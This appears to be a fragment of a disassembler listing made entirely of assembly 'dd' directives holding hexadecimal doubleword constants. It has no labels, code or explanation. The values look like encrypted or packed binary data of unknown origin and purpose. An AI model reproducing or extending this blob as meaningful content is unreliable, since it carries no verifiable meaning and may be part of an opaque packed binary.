5E08AA26h dd 8C0F0207h, 10E8987Fh, 92BF0D80h, 0D829FF42h, 84044755h dd 0EA7A1BE9h, 4B10138Eh, 80BE04DFh, 0CD82852Fh, 0DD8280E6h dd 160F4E7Ah, 0E8CED188h, 504D842Fh, 8C827FF8h, 5E201902h dd 0EA67A152h, 0F25F0B76h, 41828923h, 0D8088C55h, 8414893Fh dd 0EFB80021h, 97C954F5h, 0C83BF75Ch, 0B0A0419h, 8DFE1632h dd 0B2F33C8Bh, 88DAA1F1h, 0F22B874Ch, 2CAAD627h, 4231E9C5h dd 0EA01387Ch, 0B14243Eh, 0D94629EBh, 0E89BBE27h, 757CF28Dh dd 0B2315B32h, 0B3ACD3AAh, 4ABFA910h, 0F5E89516h, 895DE9B8h dd 0E686192Ch, 0A2B0346h, 12A9BA64h, 0C52B05BCh, 4653FBADh dd 22E4690Ch, 0FED51BF6h, 1FD908CDh, 0F4F7645Ch, 7868051Ch dd 0F1C0F171h, 1255E06h, 0AC6455ECh, 2658DF37h, 5D0CED3Ah dd 485A0FB4h, 0C139CB21h, 0C8310C82h, 25AC668h, 1F5DA6FBh dd 2F79893Dh, 66705736h, 44223025h, 0C189B580h, 7E1C30DDh dd 0C8E203Ch, 8BD6E925h, 172075ECh, 0A7CA09F2h, 0D713A1B0h dd 0F3C2C8E9h, 0BD88405Fh, 0F97582D6h, 7B598840h, 0F58D622Fh dd 0AFA62B06h, 0A73FEA96h, 0A0769ADCh, 454CBD2Ah, 0E92A0B77h dd 49B1DEA7h, 0AAA33B56h, 0D6A3BB92h, 5EB8AD3h, 65DB685Eh dd 20D99B49h, 7624B883h, 485500B3h, 0BA40540h, 15EA029Eh dd 0CAC6A517h, 4C01C6B0h, 4E051CF2h, 0C15B5C0Ah, 64D7BD71h dd 665BD80Dh, 9941D088h, 0AE0AF93h, 61B19860h, 5AD63142h dd 2F1D9896h, 97966CBh, 72684460h, 517DA86Dh, 88CB13B1h dd 280E8CCCh, 9858E72Dh, 7860B4BCh, 30CE3080h, 0D1B7531Ch dd 8B16E925h, 291DD69h, 32B76A5Fh, 0DD3BBC04h, 4031C279h dd 54096471h, 0BCE5575Fh, 0DC3B3802h, 3C25617Bh, 0E0E90D85h dd 0C9F8D0C5h, 20C64D69h, 1C03FFEFh, 25AFB9E9h, 4A893457h dd 5BE314B8h, 865E202h, 6F482155h, 0E49DBAACh, 31E4BFD6h dd 9FE67420h, 3BB001F2h, 616AB22Fh, 9380DAFAh, 35EF59CFh dd 0BC2D368h, 0E1FD295Dh, 0F00D190h, 0BB5BA489h, 7601B35Ch dd 0E6C121BDh, 0F6E070h, 85E1A442h, 0D16A882Dh, 19A1124Fh dd 278E0706h, 28FFF487h, 7F08F597h, 0C28307E1h, 0AB8F8201h dd 0EE1D6E64h, 894F5B65h, 7EEAA6F1h, 0C6B1003Ch, 0FC5C180h dd 3296848Dh, 7C3B5725h, 7A858FF9h, 0B4501902h, 0A2FA8E68h dd 0C32CCFFEh, 0D523CAA4h, 957FB4A2h, 62FB0102h, 46E8FD1Fh dd 0BF025752h, 4E683415h, 0D70589BAh, 0B1075785h, 0BC8B7A55h dd 0E76D277Fh, 9E7D33C9h, 0B2CBD406h, 84DBA2CFh, 0C4841A20h dd 92F8F8CAh, 9BDDC08h, 1B74F328h, 7CC22742h, 21D161E4h dd 0CE5C6030h, 0DB36A90Ah, 0E8029E0Fh, 80051360h, 8D5810D7h dd 9523B8EFh, 0E9058FD4h, 89FD7964h, 0D9CE2C02h, 0F6CB2918h dd 0BF69A8F9h, 6774AFA9h, 9802AFA0h, 0A34A9445h, 0A90D80F7h dd 0FA09577Fh, 2F0B9521h dd 6E5283D4h, 600F317Eh, 3C54530Ah, 78F9A4D6h, 0C1525E8Bh dd 4BAFE55Ch, 0A3E05A12h, 43687926h, 505B7860h, 26231AEh dd 17D8234Dh, 5D08B9B3h, 8158163Eh, 24BC0420h, 975BE5CCh dd 0F92F5729h, 0FAE9098Ah, 16A3DAACh, 1C5511Dh, 39A8F7AFh dd 28F30BAh, 0D5D290ABh, 0FA8FFC57h, 620B4148h, 0D794702Dh dd 59B0B396h, 0C41220Bh, 23425745h, 91680801h, 162D260Fh dd 0EAEDE7E2h, 83ADE9F0h, 968808B6h, 6B42C87h, 0E494F8Fh dd 8BE58A09h, 0EACF07DFh, 58577DAFh, 9833F62h, 6525DA83h dd 4E894F0Ch, 601D654Ch, 5FEE7BC5h, 0A10B7FFDh, 585EF121h dd 0B9511497h, 0ED16491Ch, 12D3ADD4h, 7EB86E61h, 2E7C1A0h dd 0E5406FFEh, 5E80201h, 57515842h, 34E306F7h, 0CA304839h dd 0E5750F6Bh, 0E0819EDDh, 800EB502h, 0F76662EDh, 2CDE79E4h dd 0E955C5C2h, 39A5580Ah, 0F31DEE88h, 847645Ah, 80078292h dd 0E40FD0F5h, 3DC36659h, 5FC6D062h, 0E9FE1528h, 0DE4E8498h dd 600C2796h, 0B847B55Bh, 9BA3093h, 1C5F2110h, 16E3F9BDh dd 408A5220h, 891B2757h, 0EE0DBA41h, 560BD60Ah, 201947Ah dd 0AA3FFDDDh, 6038505Dh, 0D02867B4h, 67E4D904h, 0BE10C99Eh dd 0CB6AED41h, 0A2E983F3h, 0A5BF843Ah, 31D030C9h, 305AEFF8h dd 7584A8A2h, 498C97DEh, 2CB07878h, 0DF53D716h, 0EA109A1Ch dd 72F35F27h, 76197826h, 1E20293Ah, 5DE22F68h, 66074DE6h dd 812D3E39h, 0EA7A1AD0h, 0DAF72E50h, 1C9404E4h, 0D272C2A0h dd 5F064175h, 0B157F83Bh, 0D628D901h, 0B36DB8B5h, 0B2205A83h dd 0A35B3182h, 4A4D6F7h, 793503C4h, 0B72E7D02h, 0DEADCB51h dd 1ACAA638h, 4DFA93BCh, 150508D7h, 0A129E009h, 26C3C03Eh dd 0B80106ABh, 0C32D65F0h, 0BC3FD831h, 1D6882B2h, 0C4B99119h dd 0B20A007h, 5E00374Fh, 6D7C8FBFh, 5D8EE9B2h, 6802327Dh dd 3EB31162h, 0E94081FCh, 0BF60D452h, 97EEB1D8h, 4492BF5Fh dd 4F89E109h, 5B7B902Ah, 1E488E7Fh, 3805FECh, 786575A7h dd 9F6DEA1Ah, 3C21E916h, 0D388C0B9h, 0A295D189h, 0DC75ADCCh dd 3EDC23A8h, 3C5F1710h, 1ACBA65Ah, 0F369511Bh, 37B9B92Dh dd 827FDE20h, 3A4049C1h, 6C66141h, 0F547B27Ah, 0A14A0160h dd 0BDECB25Dh, 0D55AE979h, 0E91C6C9Eh, 0D42F3E50h, 6EDD511Eh dd 1EBDFB00h, 0E3010B31h, 0F702393Ch, 892A2FBFh, 8FF0B48Bh dd 2DAF0C5Bh, 9CD96F72h, 0B4E1942Bh, 7D0540DAh, 63E91DCDh dd 5D2495BCh, 0CEDDE2C2h, 0DBF65A00h, 0B8E37EC0h, 2C641C56h dd 0B0D81489h, 9C86E909h, 0C7B02AC4h, 5995EC99h, 0CF6883C4h dd 9A5F1375h, 4EEEF39Bh, 8E253DA8h, 9A90AE58h, 0FC169B9Dh dd 16058281h, 0F0D7AE34h, 7AF29759h, 2CA9285Ah, 53156883h dd 58636910h, 4E5D240h, 89410545h, 33F9C2F3h, 0DFA73B77h dd 8CAEA154h, 1B2851A3h, 3BFCA4F1h, 49191012h, 0E0B3C31Fh dd 7D0D99B5h, 1AF6ADA5h, 182BA78h, 4A74F56Ch, 662DB468h dd 0B7E310C2h, 30B8BE02h, 0D6602115h, 0EC5E5120h, 2107F156h dd 55D524A2h, 0C3F990EEh, 0D2273FB7h, 7D538175h, 0F3FD2F08h dd 8E081CA0h, 0CDE92F47h, 0D480F32Eh, 5130410Fh, 99BD5502h dd 852BAD34h, 64FE5DECh, 990E1470h, 90D7CC25h, 0A685D3DDh dd 95A59FAh, 0C996E9F0h, 224A369Ah, 0BA03CCFFh, 7D6F7A0Bh dd 20895716h, 13D6FB81h, 0C981F8F1h, 6E602F03h, 1D1F755h dd 0D5BE5604h, 3BDCF9E2h, 0CB099905h, 4E8AD1E4h, 6A863D74h dd 6789CFA2h, 0E6C171A1h, 5068B03h, 7741094Eh, 5597E8DAh dd 0B0055C1Bh, 4D456C12h, 0B15F82FCh, 49D4426Dh, 61C7A840h dd 15FD3713h, 8AA60EC1h, 0BAAA2504h, 2FBDD8D4h, 652784h dd 5105D0F7h, 0F8CEE479h, 0C235F184h, 81CB2330h, 9C1B7087h dd 3AC97B55h, 0BE65B321h, 45AF7055h, 0E22047D9h, 0D16AC4C2h dd 6B00C965h, 2D29D7A0h, 0F9D45856h, 9B0BE720h, 84BDBA82h dd 9E86EC6h, 0DF3121F4h, 4A5A0272h, 1F67752Ch, 7588C8A7h dd 81A0E2E9h, 75CAD95Ch, 57E87EA1h, 0A717FF5Fh, 5A259DA6h dd 0E91310E6h, 74AFBD69h, 0E72FC018h, 734A54D4h, 314D98EEh dd 6BFE7495h, 0D94B4AFCh, 0DD54525Eh, 259A5688h, 0D9E293DFh dd 16B3F6A3h, 0C9C96BA0h, 1C47806h, 0E9A5C785h, 8C7A08C3h dd 99A84697h, 66FED4F6h, 0AD1262B4h, 2B843C01h, 2D39071Eh dd 42E9A84h, 23C0E2D1h, 0EFDB5F62h, 2D17003Ah, 40F37250h dd 55002B8h, 0F29F5A07h, 0BFAB2D76h, 535F627Ah, 0B24B28AFh dd 0D50AD198h, 0F38D1EE9h, 79AD3CB0h, 294A2C1Ch, 0AD4B945h dd 8E0127E9h, 82875F3h, 0A50EC54Ch, 31AA2CEFh, 0E96EB09Fh dd 784923Eh, 885168B3h, 59CE22D9h, 19D1EC5Dh, 69AC680h dd 0ACEED801h, 7CF52CCCh, 0AD435A8Dh, 0BEA1D681h, 877AC16Bh dd 0F592682Ch, 43639CBBh, 0C30DCA67h, 0F6F8E872h, 527DE91Eh dd 6E5E255Bh, 538C6CF3h, 95D67571h, 0AE96648Eh, 0B83A7E6Dh dd 0B0E9B149h, 524EE2Ch, 41B10E7Bh, 0C5C12DAFh, 0DAF8292Ah dd 1174078Fh, 17FC512Fh, 0DAF74241h, 9FD5E17Eh, 0F689570Ah dd 625FD49Eh, 0F0711B28h, 1378D32Dh, 0A01BC798h, 69E30F6Ah dd 45D5F714h, 5BF20097h, 0EB31DA99h, 0CA0E24E9h, 991A47EBh dd 0B16FC47Fh, 0DAC08B4Ch, 63934A77h, 1778A072h, 9FE7BD3Dh dd 404916ACh, 0CE70A7E9h, 38E0C25Bh, 0CA017B77h, 606BF4CBh dd 7ADAF636h, 0F2800BFEh, 3A0E30D9h, 5957D869h, 2D848F0h dd 0E3288AB4h, 8663F9D5h, 64FC380h, 82E5305Eh, 3E3AFED6h dd 6A725031h, 5392935h, 67A63DD1h, 49C86980h, 0E2EEFF8Ah dd 90505CFFh, 0EA173EBAh, 892D5D7Bh, 0EA84049Eh, 14D1212h dd 0C505E8A6h, 5D11E842h, 0DDE43AEDh, 4C392768h, 4DF4DAECh dd 0CE90B53h, 4FF15FE9h, 0E05B5EDFh, 2B973784h, 40207076h dd 6B722DD4h, 823352Dh, 0E90B07E0h, 0F28A3E5h, 95E1DC8Eh dd 0B195B82Bh, 0E5830D63h, 0D1282DC1h, 0CAB7BEAFh, 575F7B51h dd 0DD5A7B09h, 97A4956Dh, 2B5A442h, 6A75F781h, 0B7CCCCFFh dd 3780827Ch, 2DA3F88Ch, 1F35179Eh, 2D1B14Fh, 2E455F07h dd 16566885h, 904137EFh, 44BC5F57h, 0F435B02h, 52D4A48Dh dd 7CCC08E8h, 37166263h, 0B2545EF0h, 954E2AD7h, 386D00A9h dd 68591E9Fh, 0CDAC22E2h, 0EAE48720h, 0DB6F6042h, 29126C7h dd 114BD0B8h, 0DE786FF1h, 5CA368F0h, 0C5C9599Dh, 4A02CBC7h dd 0ED5096B3h, 0EC0D16F6h, 93F5B412h, 70096279h, 0D2993BE9h dd 16F3046Fh, 0C20C3A1Bh, 11F7A8E9h, 0FC88568Dh, 5B173FA4h dd 0AEB1D16h, 8CF1E28Ah, 0B80AA71Eh, 7D240302h, 0F8C5094Ah dd 16C18BFh, 122863DEh, 7644E02Fh, 0F5BA9512h, 304C1E73h dd 0A9A57EE8h, 9D41347Eh, 356E39C0h, 0AED7C5E6h, 0BBE97C90h dd 5042C08Fh, 3C646856h, 2F61D794h, 0E9F1E658h, 0FDC2BFCDh dd 0C64F32D1h, 0B5375AAEh, 0CC9F3FF2h, 97EC9550h, 12061020h dd 0BDA015Ah, 0D804D3B5h, 0DFE1A89Fh, 7A41FBD2h, 56595451h dd 0FA45342Ah, 0D2CE94E0h, 7FA2B1C2h, 0BEC746B8h, 0A514E2C8h dd 9CB1848h, 2B3D731Eh, 40F503DAh, 2E20434Fh, 617566DEh dd 0B834E902h, 75AFCAC4h, 0E964EE02h, 41B04285h, 314638BBh dd 60CE30A8h, 22E47203h, 50975A52h, 15CC0CBEh, 0E9F7C675h dd 0FFDCF72Ah, 0BD3AAC20h, 67088C50h, 0A5C8901h, 12982DE7h dd 7AB0469h, 0E9C7139Ah, 0F75CEFF0h, 0E9170B24h, 99B03A52h dd 29809A75h, 9E07BBD9h dd 6A684601h, 804B7F13h, 7E0EAFD1h, 0C121B601h, 887B30F7h dd 805BF800h, 9E9F9C5h, 0D8C59722h, 6C73BC0Ch, 90B70953h dd 0E6D6F988h, 1393B058h, 0A13023B2h, 0A8F32A7Eh, 59CA28B0h dd 2D93EAE0h, 2EC9BFB8h, 7A1237D0h, 269CF646h, 0DC2E2099h dd 13890F1Bh, 6F9FD9BBh, 63970B88h, 89C6010Bh, 93EEFC26h dd 0EB5EC458h, 0D1906EA2h, 0ED17DC49h, 5B3608D7h, 10B25205h dd 9F23A188h, 14E2F660h, 6C70EAF0h, 7456A6C4h, 8283550Bh dd 0CCA50920h, 5CB702E9h, 93090EAh, 0F016E9C5h, 0F30D045Ah dd 0C1220A4Dh, 0A5C11C1Eh, 62E454DCh, 770B7211h, 5C3BD500h dd 81005E1Ah, 25DD3CFh, 50D7F778h, 12B5B347h, 16C4964h dd 622C6E32h, 0E2A8221h, 0D5789B0Fh, 6054CEE0h, 824B063Eh dd 515C5AF6h, 18E8546h, 232B9801h, 0EC6ACF25h, 0B60973B2h dd 6097851Fh, 9786E940h, 0DB5D9109h, 47F94A54h, 0F72D9889h dd 0C59CB96h, 23A60435h, 0A0AD6E6Ch, 2571AD1Ch, 90824DD5h dd 154996BAh, 5F38D787h, 0A96722E9h, 3F622649h, 714FC169h dd 0C9049C72h, 0E062675Fh, 95FE52C7h, 60325B55h, 0DF6576Eh dd 4BBBE35Fh, 5B91B4C7h, 0AAF4F89Ch, 7EEFA3C9h, 59CA0E5h dd 7C2D42C7h, 0A989C210h, 94505BFFh, 2B01E950h, 0B813744Bh dd 2C3B30DEh, 3F82925h, 0E203E409h, 8175FA50h, 5B205808h dd 0CB6B60A6h, 0A4342DCBh, 0C9267863h, 0E9F48926h, 412A1DD5h dd 0D30D8424h, 0B7B16E2Fh, 896C0AF9h, 13A55E2Eh, 0C0E2FC2Bh dd 63913262h, 0CFC50481h, 0BB55FF10h, 304A17E8h, 81EDD156h dd 2215CD03h, 4451307h, 0A55F30D2h, 6AC2FF0Ch, 79D689E9h dd 90680487h, 6CBFB67h, 95FA0113h, 0A6B1EEEFh, 34838B2Fh dd 0F482E480h, 4943D79Ah, 0F4882A0Eh, 78E36B53h, 965EFA97h dd 60B800C1h, 5479141h, 0F7FDFCE9h, 133CF495h, 0F174284h dd 70E90780h, 7E2E3040h, 44085B44h, 9A4A2E4Bh, 0A40EC3A6h dd 8331FFA5h, 983E0E9h, 147F6816h, 0D255979Ah, 80643001h dd 5AD60918h, 0A7EEC128h, 0B356E62Ah, 59F621A0h, 0DD20101Eh dd 28E2D696h, 2981688Fh, 255F0F86h, 5474929Ah, 1B6E7C0Bh dd 45B1F19Fh, 97C9D36Bh, 892CDCC1h, 455EF049h, 0A028884Fh dd 8F26A324h, 9EE89D13h, 28AE8A5h, 49E918B9h, 1BD2D589h dd 0BC10C8h, 12AC0559h, 24B8370Ch, 461F32D3h, 99F42738h dd 57F304Dh, 0D5781FDEh, 0BBC1AA12h, 0B150AB2Ah, 24BAEEDh dd 8F0F499Dh, 387BF7C8h, 0F26FC4C2h, 6E00B05Ah, 0B21276FEh dd 496883B4h, 0F3AE847Ch, 9EEDC9ECh, 0DCD99D45h, 0F501E961h dd 0C4E64674h, 0AA060A8Ah, 1B40FC2Dh, 5C883F85h, 2710063Ch dd 0B3E90D49h, 0E7010ADDh, 6F9CCB14h, 0EFE892C0h, 5AD63CB0h dd 5E5AA374h, 6E47C2F5h, 64A320F2h, 0C8C24BBDh, 0C76752B8h dd 0D3CCA60Bh, 5A3203C3h, 8F661FE8h, 69788018h, 0B0D4826h dd 41C43B51h, 8038AB54h, 447D5B63h, 0B90BF0E9h, 3522AD50h dd 0BD2E6h, 0B750C0EEh, 18169F71h, 140F024Bh, 0B3C82BEh dd 0DDF95F4Bh, 8131E525h, 6CB07193h, 1ED0E2E9h, 1D4E8490h dd 78BFB816h, 8E60D538h, 0AC21EE59h, 0F87E7635h, 160404B7h dd 84F10156h, 65081420h, 39D4E486h, 211E41ECh, 6FD3C208h dd 12B97CB0h, 1AE34511h, 7ED4D2E2h, 8061C02Dh, 0D0FF82CFh dd 3B190B6Ah, 554459h, 5D3E2510h, 0A00D4AD2h, 0D17C08B8h dd 4405195h, 0EBF6850Fh, 0EFF2D840h, 565B5EAh, 55E9D631h dd 1C4AE3F4h, 98A70A68h, 91012166h, 17274A58h, 887CC21Bh dd 86A5B842h, 0EF528355h, 2CC1E902h, 0F86C631Fh, 844FD13h dd 18CEBDABh, 872EA216h, 0C94F98F7h, 0B2055608h, 0E224BF71h dd 59280FBBh, 49D11292h, 7C541449h, 0C353F472h, 6003B265h dd 7447A6B9h, 1C98054Ch, 0E0640469h, 0E918D990h, 0C3E76F15h dd 0CFF312CEh, 0DA0EAF12h, 0BD552041h, 16BC9E32h, 61E901FDh dd 8CCB295Eh, 6A68039Ah, 67E52F2Dh, 58438977h, 145F4B97h dd 712FA7D9h, 0FCA69859h, 2EF3C916h, 946A5E16h, 31F6E0A0h dd 27EA4C1Fh, 0F97C88h, 356937BDh, 0FD308779h, 0F5810647h dd 482F7FB0h, 7C009008h, 0E98E35B9h, 7AE1074Ah, 0A75E0EDBh dd 0D7CD404Ah, 0F732A595h, 52DED2C1h, 5B279830h, 6ED59047h dd 438E77Eh, 5AB949E9h, 210B0F6h, 747F89D4h, 78C383FDh dd 0B4C72FA8h, 0D00FE404h, 0C8F97FE5h, 93EF649Bh, 0CFFA886Ah dd 18A4FF1h, 58CCC4EFh, 0FB0B133Fh, 0EB43B006h, 6C6008A2h dd 71BC90E1h, 36CC68E1h, 0EED07E7Ch, 5A2F055Bh, 4CD4FB05h dd 0A714A5FBh, 4DE3D639h, 0F878C4A2h, 58273F48h, 534A3239h dd 0F0D1F7CEh, 1DC17863h, 0CBE5B00Ch, 7154B829h, 0F3D9C787h dd 0B2AEBC05h, 0B2E916F5h, 59AB44BAh, 7F65D919h, 243B52F1h dd 3F8DBFC0h, 0A49E9565h, 5016FAh, 4DDDE115h, 0F9770EBh dd 43E40135h, 0C8B470Ch, 55533C7h, 9840F8D8h, 9F6E5CBEh dd 5EB93504h, 0EF4D820Bh, 18241877h, 0DBA3C5B6h, 7E7EB32Bh dd 90834427h, 0BF5FB90Fh, 0CF841FE2h, 2572E96Ch, 574AC22Eh dd 0D4C9D2D1h, 1F10A633h, 0F2B513E9h, 873131FCh, 4055C7Eh dd 5590560h, 0F5C74DB3h, 40002DF8h, 47830FD8h, 2E13C44Dh dd 76BF64BBh, 1D2DC098h, 3EBDA240h, 57AEA44h, 8FAD58A9h dd 82B17A1Ah, 0A864875h, 3188B2B0h, 0A30BE23Ah, 0A9D97BCDh dd 0AA6C9CFDh, 4FB2CA4Fh, 0A3D9ECE1h, 9641040h, 575E01A1h dd 0B70AB4BFh, 0D003707Fh, 20AE0382h, 0B9632D27h, 346A1D5Ch dd 2D84DB08h, 276494F6h, 0AE005EBEh, 0B5F60174h, 0AC0E7B40h dd 3A0BB40Ch, 0B9897DAFh, 532FE0D4h, 5B540906h, 0E570DBF6h dd 12283C37h, 824D5ACh, 0BB6002A3h, 126643BFh, 81EBC163h dd 4B3227Ah, 0EADE85BFh, 0CAD7CAB5h, 6F5676C8h, 0BAD99BC5h dd 5830F2h, 0F8E2CE17h, 0D34A25A1h, 5248287Bh, 0D827E1ADh dd 0BEE6E9A7h, 30B9F661h, 0E83D30F5h, 0BD5E0D98h, 4F3737A4h dd 0D236B952h, 0A5123516h, 0BB80140h, 1C18D124h, 0D3C78957h dd 9030E259h, 1AD649D3h, 77547068h, 68412753h, 317B51EEh dd 6C64FA93h, 3F09C04Ah, 69BD0FBEh, 0C00B0Dh, 0B1809202h dd 0C8881C81h, 66C7C759h, 0FFB60C58h, 0C6F2EC5Bh, 0A7A02C78h dd 0B668C740h, 1422B34Dh, 65B3258Dh, 568C7171h, 0B66D2512h dd 0ED5A125Eh, 2AF9D39Fh, 2A8DF10h, 7BF9ED81h, 0CDD3C036h dd 0D71102BDh, 0E125E96Fh, 2677177h, 48654161h, 0A5C100CAh dd 0C343812Fh, 0FD97309h, 462CE5EDh, 0FA5D5F13h, 2D0040CEh dd 128D7BD8h, 29623868h, 0E4C015B5h, 67A45D5Bh, 0B05BA25Ah dd 0B48F1AE9h, 97B45069h, 4B2BBA92h, 0B500D337h, 0D1435C54h dd 28DEBFE8h, 9ADAEB40h, 311224D0h, 74722FF5h, 9EBF620Bh dd 326C8F05h, 9D94B567h, 75FB5B97h, 96FD5FABh, 3DE91B8Eh dd 6BAA8FC1h, 98F08818h, 46D36589h, 8853C428h, 0F0A8A503h dd 0C309C281h, 8352B907h, 4B9EF09Ah, 8944BB2Eh, 5C036398h dd 15223CD2h, 0CA011E8Eh, 44A91757h, 0EFC28373h, 0CB4B349Ah dd 0FCE5F75h, 0DC4A3322h, 4116DDA2h, 11C0472h, 1037C4EBh dd 0A94EAE08h, 4FE913A4h, 0B92CA49h, 954E78FBh, 18829CF7h dd 226EEFE9h, 36EA05ADh, 2915B40Bh, 0A12B46D8h, 202A991Fh dd 5AA008BDh, 647EDC27h, 7CFA0912h, 7B5D1BEEh, 800C2034h dd 0A1696792h, 0B06F2D41h, 0C65C316Ah, 2BE9E0C7h, 2D21B295h dd 8E546E97h, 5A8E0C9h dd 657A3F1Eh, 56D02980h, 271960BEh, 24CC6CC5h, 0B8B534EBh dd 146181C3h, 0C3168FEh, 0BE8C7BD2h, 2516C51Ch, 534238D7h dd 174E5AE9h, 790BEE50h, 1764742Ch, 3739EB8Fh, 1C6F3288h dd 998A5B1Dh, 5CA61841h, 9A593E10h, 37C16817h, 6DDC72AFh dd 33B926A0h, 17605030h, 164FFDAEh, 0D1CDA15Dh, 64FD26Fh dd 2C48DE62h, 884F02B0h, 808B40FBh, 1A68C3C9h, 0B136F99Dh dd 508BAEC6h, 2521F283h, 0F74AE409h, 0D9695DD2h, 1CBEE080h dd 85608E90h, 715AE52Dh, 0B07A4BA2h, 37274E65h, 0E665F82Dh dd 0B938C0C2h, 581D4B12h, 65BDD5F8h, 9ED9ADF1h, 24E4D63h dd 0B8C7C61Dh, 5F785783h, 0B69AFD20h, 2D90AC02h, 73EC2FFDh dd 80D18EBh, 8A2AE9CBh, 992F85ACh, 5B02F024h, 0F739F889h dd 641C92E6h, 0EB3B684Ah, 777CA0CAh, 0C39BC0B0h, 47146D50h dd 3049DDF6h, 3408181Dh, 9FB5AA2Bh, 6869D3F4h, 3EFA25h dd 15B3CF3h, 753E9DEh, 9AA92BE1h, 0EC2C5684h, 939EC6FCh dd 28C300BBh, 0F266808h, 0FD6BBD82h, 3AEB0019h, 2FE98642h dd 1BDFDBB2h, 50CAD2DAh, 548EC56h, 8A763635h, 8442F260h dd 2CFE585Dh, 5A02574Ah, 0E983546Ch, 0E2B64001h, 852A4822h dd 57C4BA00h, 0CA813337h, 0A4454E0Ch, 12970C7Bh, 0FE39B856h dd 38F07741h, 2E25585Bh, 6EFCE961h, 71658CBh, 95E95009h dd 0EDF04666h, 4C2D74BDh, 809FC322h, 0D7870F1Bh, 81CAB672h dd 71682ABDh, 18A46A31h, 5AB19551h, 52C5402Ch, 5374F8B6h dd 0B77FB20Eh, 5AD700BEh, 0B74EEF80h, 0F682925Ch, 40DC88D3h dd 0C701EC9Eh, 61C0CA06h, 3EC4FE08h, 0CF1F9F8Bh, 1B775C80h dd 0BEAC30F4h, 89BB1A65h, 560E203Eh, 5B22AD59h, 0A7E9CEE5h dd 9D5E2D38h, 18443AB6h, 0B807995Fh, 20A8F0FAh, 5500192Dh dd 0E0C14007h, 1EB33502h, 0F9B0BDA9h, 9459A484h, 78D9803Fh dd 144AB67Dh, 6E92002h, 8794F488h, 0A225F8EAh, 3E563961h dd 0FA05C880h, 512CEB29h, 91A0CE59h, 2574E0DCh, 2F78387Ah dd 0B1303D90h, 11C5BB18h, 891F09DAh, 880E801h, 49592DD0h dd 0E92F12ECh, 53970FA6h, 394C70E9h, 0D6842E7Ch, 4244400h dd 550B5FDBh, 974E9C57h, 0C5EB907Dh, 0A4A0995Fh, 0A8ED096Dh dd 6C848568h, 800502B9h, 4C815C3h, 1809A1Dh, 0A5E3814Bh dd 0F13A787Fh, 2A576563h, 60BF2DAAh, 6BE1780Bh, 0CBDE1FE8h dd 0C2710773h, 0B058542h, 0F207FF58h, 5AD5309Ch, 0CC965289h dd 0C509F864h, 4EA1FE95h, 0FC78A1F6h, 567047E9h, 7A4B5695h dd 1BCD143h, 31D5840Fh, 0E3608189h, 48C65Dh, 79CD6CBAh dd 9ACAB6BDh, 73A8E15Fh, 0A1B3E84Bh, 657062C2h, 4D0CC752h dd 0E973A027h, 8DC1881Ah, 337CD9F3h, 0D224803Ah, 244AF4C6h dd 1064A6E5h, 3878192Dh, 259CA206h, 0A7C07E9Ah, 0D5495EAh dd 0F20134EEh, 5E080264h, 0B1D9A2F5h, 7571F5D2h, 75A7CF1Fh dd 0C89C9790h, 44940082h, 31C9C280h, 0E870E2C0h, 0F5B307AFh dd 0A617C16Ch, 5F8BF768h, 814217ABh, 80756177h, 6951D92Eh dd 0A9CE255Fh, 394DD92h, 0BFC92020h, 0E9414A73h, 0FD3E61D2h dd 0FE4A7812h, 0F4009F94h, 0AE2429Dh, 387D9A29h, 0AF5B4DB8h dd 4BBEF836h, 1633CE7Ch, 49EAF1F6h, 4FB0573Bh, 9ABC9568h dd 3AFC5417h, 0D776BFB4h, 0BA0A0AEh, 10888099h, 15F4FEEh dd 8F59BEB3h, 0EF3E167Dh, 7B4D0028h, 55377931h, 0ED0FE910h dd 4C63A148h, 102FE68Ah, 9C0BFF29h, 90508FF4h, 36688084h dd 93C22E5Dh, 82F785ABh, 0F7EE357h, 3F685560h, 34FA8339h dd 0E077E64Ah, 2715EB79h, 99580C09h, 8C0F4309h, 4BB0A768h dd 0F7BC8A71h, 44A6443Dh, 0A7228D1Dh, 80C5FC67h, 7E074FE2h dd 14C2E3D1h, 7E592EE9h, 2D98BBA4h, 9FF653AAh, 0A036C1Fh dd 0D2BBEE52h, 0CBE129AAh, 73802C4Fh, 8D5ED60Ch, 9D0C16h dd 2D63596Fh, 264B5FFFh, 1996F6BFh, 2FF13DA4h, 4DA2AEECh dd 0D53F8957h, 69A8674Eh, 3BE187BDh, 0AEF586ACh, 4122A8A4h dd 9B2C3A5Dh, 0CCBAAF0h, 2CC027EFh, 17A906EDh, 0B0CB0F1Dh dd 4C6177Ch, 0ACE5E9C8h, 7CEA4E08h, 6082A8DEh, 2E679DE3h dd 173B9Ah, 0E875349h, 2F9FC4E9h, 489F61FDh, 80705DC3h dd 939B62D7h, 0EB467947h, 0B721CB82h, 6F59CB88h, 0BDBB2CC4h dd 6D751A35h, 0B683752Ch, 0E008A26h, 6F83B850h, 4CF7590Ch dd 7D0094D8h, 0D106136Ah, 70E581E1h, 1C0976DCh, 0F528D5E9h dd 4BD17AB3h, 8CC968D8h, 5A88198Ah, 0C110B964h, 5150D6F6h dd 0AC7BF1F9h, 121BD0DCh, 88F882E9h, 0C60DA65Fh, 0B2F9C151h dd 0D5F732DFh, 5FC94FE2h, 273BB8BDh, 0A578D421h, 0FF97A29Ch dd 0ACC205A0h, 0CBB82E29h, 35F9DA7Dh, 0B5F07A5Ch, 40324B38h dd 0C42D0739h, 8149108Eh, 39E90B6Ch, 0A33B4963h, 0AE4BA638h dd 0EB1723CEh, 0DCDEB55Bh, 78BE26B2h, 0CCEB2992h, 0A7B7A6DEh dd 54D9CEB6h, 24F0E992h, 2AA0F09Dh, 82EE6A53h, 4DC55FF8h dd 3FC944AFh, 0A65E1EE9h, 0A212104Ah, 5AE5A85Eh, 41C74BE0h dd 9840401Bh, 247CF15Bh, 0CD418973h, 0E9032A83h, 0C3092C9Fh dd 5D84C0C6h, 271247C5h, 14E435C7h, 3AAC39FAh, 32DB2BAEh dd 55637055h, 8901845Bh, 0A52D5FFDh, 0FE0BE242h, 4B072067h dd 6BEECD5Dh, 7540FBF5h, 3D103C4Dh, 0C07BE91Fh, 7F48054Ah dd 3501742Bh, 93EB780Ch, 7E70C101h, 9B78D35Ch, 8CFF4A61h dd 68125008h, 56F345CCh, 0E061A007h, 5FF8807Fh, 0AAE4C7BEh dd 0C629DB01h, 1EE8358h, 25260A30h, 29875B67h, 4A010F72h dd 77654CE9h, 58F0436Ah, 0B2BD5B65h, 2A3DEE98h, 0C9051E90h dd 64B913F5h, 0F6A07FEh, 0A65C6B8Bh, 5A9C542Fh, 711A32FDh dd 92DFE9EEh, 9D6FDA6Ch, 0F95B0D66h, 38EA2C12h, 0AF419EA8h 